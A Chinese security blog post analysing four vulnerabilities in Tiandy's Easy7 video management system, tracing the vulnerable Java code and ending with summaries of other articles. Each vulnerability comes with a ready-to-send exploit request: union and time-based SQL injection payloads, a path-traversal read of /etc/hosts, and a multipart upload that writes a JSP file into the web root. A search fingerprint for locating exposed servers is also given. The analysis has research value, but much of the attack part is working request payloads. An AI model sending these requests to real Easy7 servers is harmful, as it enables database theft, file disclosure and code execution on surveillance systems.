天地伟业Easy7漏洞-浅析"

admin 2026-10-24 08:58:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image。

0x01 技术文章仅供参考学习,请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失,均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习,一切不良后果与文章作者无关。使用者应该遵守法律法规,并尊重他人的合法权益。

0x02 指纹信息

web.body=\"./jsapi/js/bootstrap/js/bootstrap.min.js\"

0x03 漏洞分析

1.queryUserbyDesc SQL注入漏洞

入口点:
com/tiandy/easy7/core/rest/CLS_REST_User.java#queryUserbyDesc 154-157行

追踪queryUserbyDesc方法进入com/tiandy/easy7/core/bo/CLS_BO_User.java#queryUserbyDesc 643-653行

1.仅进行简单的空值检查if(userDesc!= null && !\"\".equals(userDesc))`

  1. 关键点: 没有对userDesc进行任何安全过滤或SQL特殊字符转义

3.直接将原始参数传递到DAO层 this.daoUser.queryUserbyDesc(userDesc)

追踪daoUser.queryUserbyDesc方法进入com/tiandy/easy7/core/dao/CLS_DAO_User.java#queryUserbyDesc 1133-1153行

这里也就是漏洞触发点了。使用StringBuffer直接拼接SQL语句后使用Hibernate的createSQLQuery()执行原生SQL。

漏洞复现

GET /Easy7/rest/user/queryUserbyDesc?userDesc=1'union+select+1,version(),MD5(123)--+ HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

1.2 getAuthorityByUserId SQL注入漏洞

入口点:com/tiandy/easy7/core/rest/CLS\_REST\_User.java#getAuthorityByUserId92-94行

追踪getAuthorityByUserId方法进入com/tiandy/easy7/core/bo/CLS_BO_User.java#getAuthorityByUserId 443-461行

  1. 仅进行空值检查,未进行安全过滤

  2. 关键代码:this.daoUser.getAuthorityTypesByUserId(userId, objId)

  3. 问题: userId和objId未经任何过滤直接传递到DAO层

追踪getAuthorityTypesByUserId方法进入com/tiandy/easy7/core/dao/CLS\_DAO\_User.java#getAuthorityTypesByUserId 461-472行

1.两个注入点:userId和objId都直接拼接到SQL中,未使用PreparedStatement参数化查询,没有SQL特殊字符转义。

2.SQL执行: 通过Hibernate执行原生SQL

漏洞复现

GET /Easy7/rest/user/getAuthorityByUserId?userId=&objId=a'and(select*from(select+sleep(5))a+union+select+1)='&authTypes.authTypes=1 HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

1.3 downloadFile 任意文件读取漏洞

入口点:com/tiandy/easy7/core/rest/CLS\_REST\_File.java#downloadFile 668-718行

  1. 直接拼接: path + fileName,没有任何安全检查

  2. 文件读取:new FileInputStream(newPath)使用拼接后的路径创建文件输入流

漏洞复现

GET /Easy7/rest/file/downloadFile?fileName=../../../../../../../../../../../../../../etc/hosts HTTP/1.1Host: xxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

1.4 uploadMapServerBgImage 任意文件上传漏洞

入口点:com/tiandy/easy7/core/rest/CLS\_REST\_File.java#uploadMapServerBgImage 1024-1027行

追踪this.boFile.uploadFiles方法进入com/tiandy/easy7/core/bo/CLS\_BO\_File.java#uploadFiles 377-506行

  1. 检查请求是否为multipart/form-data类型

  2. 初始化输入输出流变量

  3. 如果不是multipart请求,返回错误

public CLS_VO_Result uploadFiles(HttpServletRequest req) throws IOException {    CLS_VO_Result result = new CLS_VO_Result();    InputStream fis = null;    FileOutputStream fos = null;    String fileName = \"\";    boolean isMultipart = ServletFileUpload.isMultipartContent(req);    if (!isMultipart) {        result.setRet(-7);        return result;    }
  1. 使用Apache Commons FileUpload解析请求,items列表包含所有表单字段和文件。

  2. 每个item可能是表单字段或上传的文件

FileItemFactory factory = new DiskFileItemFactory();ServletFileUpload upload = new ServletFileUpload(factory);List items = null;
try {    items = upload.parseRequest(req);} catch (FileUploadException var32) {    result.setRet(-7);    return result;}
if (null == items) {    result.setRet(-7);    return result;}

其中uploadParams是一个JSON数组字符串,完全由用户控制这一步很重要。

然后看到将JSON反序列化为CLS\_VO\_MapServerBgImage对象列表。

private String path;  // 上传路径 -用户可控!

private String name;  // 文件名 - 用户可控!

List mapServerBgImage = new ArrayList();Iterator i$ = items.iterator();
String uploadPath;while(i$.hasNext()) {    FileItem fileItems = (FileItem)i$.next();    if (fileItems.isFormField() && fileItems.getSize() != 0L) {        String fieldName = fileItems.getFieldName();        if (\"uploadParams\".equals(fieldName)) {            try {                JSONArray array = null;                uploadPath = fileItems.getString(\"UTF-8\");                if (StringUtils.isNotEmpty(uploadPath)) {                    array = JSONArray.fromObject(uploadPath);                }                mapServerBgImage = JSONArray.toList(array, CLS_VO_MapServerBgImage.class);            } catch (UnsupportedEncodingException var31) {                log.error(\"转码错误\", var31);                result.setRet(-7);                return result;            }        }    }}

1.CLS\_Easy7\_Types.PROJECT\_PATH是项目根路径

2.问题:如果uploadPath = ../../../webapps/

3.mkdirs()方法会创建所有必要的父目录

File dir = new File(CLS_Easy7_Types.PROJECT_PATH + uploadPath);if (!dir.exists()) {    dir.mkdirs();}

基本很明确了路径可控,文件名可控且不存在任何黑白名单。

漏洞复现

POST /Easy7/rest/file/uploadMapServerBgImage HTTP/1.1Host: Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryPwnContent-Length: 301
------WebKitFormBoundaryPwnContent-Disposition: form-data; name=\"uploadParams\"
[{\"path\":\"/../../webapps/Easy7/\",\"name\":\"html1.jsp\"}]------WebKitFormBoundaryPwnContent-Disposition: form-data; name=\"file\"; filename=\"html1.jsp\"Content-Type: image/jpeg
<%out.println(\"Hello World\");%>------WebKitFormBoundaryPwn--


天地伟业Easy7漏洞-浅析" 网络安全文章

天地伟业Easy7漏洞-浅析"

本文分析了天地伟业Easy7系统的多个安全漏洞,包括queryUserbyDesc和getAuthorityByUserId接口的SQL注入漏洞、downloadFile接口的任意文件读取漏洞以及uploadMapServerBgImage接口的任意文件上传漏洞。文章详细描述了漏洞的代码位置、触发机制和利用方法,并提供了具体的复现步骤和请求示例。作者强调技术信息仅供学习,提醒使用者遵守法律法规。
2025互联网大厂校招薪资(完整版)" 网络安全文章

2025互联网大厂校招薪资(完整版)"

文档详细汇总了2025年互联网大厂校招核心技术岗位薪资数据,显示AI算法、大模型方向岗位溢价显著,普遍年薪35万起步,优秀录用者可达50万以上。关键发现包括字节跳动、腾讯等企业不同岗位的月薪与总包构成,并指出学历、技术方向、工作地点是影响薪酬的主要因素。可操作建议涉及关注热门业务线及优化个人技术背景以争取更高薪资档位。
沉寂十年的黑客组织卷土重来" 网络安全文章

沉寂十年的黑客组织卷土重来"

沉寂十年的黑客组织Careto(面具)近期重新活跃,采用针对MDAemon邮件服务器WorldClient组件的新型持久化技术,通过恶意扩展与配置文件修改实现隐蔽通信,并利用合法系统驱动程序部署FakeHMP植入体进行键盘记录、屏幕捕获等监控操作,对关键基础设施构成严重威胁。
【资料】社交媒体和AI对人类认知的影响系列文章" 网络安全文章

【资料】社交媒体和AI对人类认知的影响系列文章"

该系列文章系统分析社交媒体与AI对人类认知的双重影响:风险方面包括注意力碎片化、记忆衰退及情绪失调等神经认知损害;机遇面体现为LLM在心理健康诊断、老年人认知保护等领域的应用价值。研究提出需通过个体数字排毒、平台算法透明化、数字素养教育及数据隐私政策等多维度协同实现平衡发展。
评论:0   参与:  0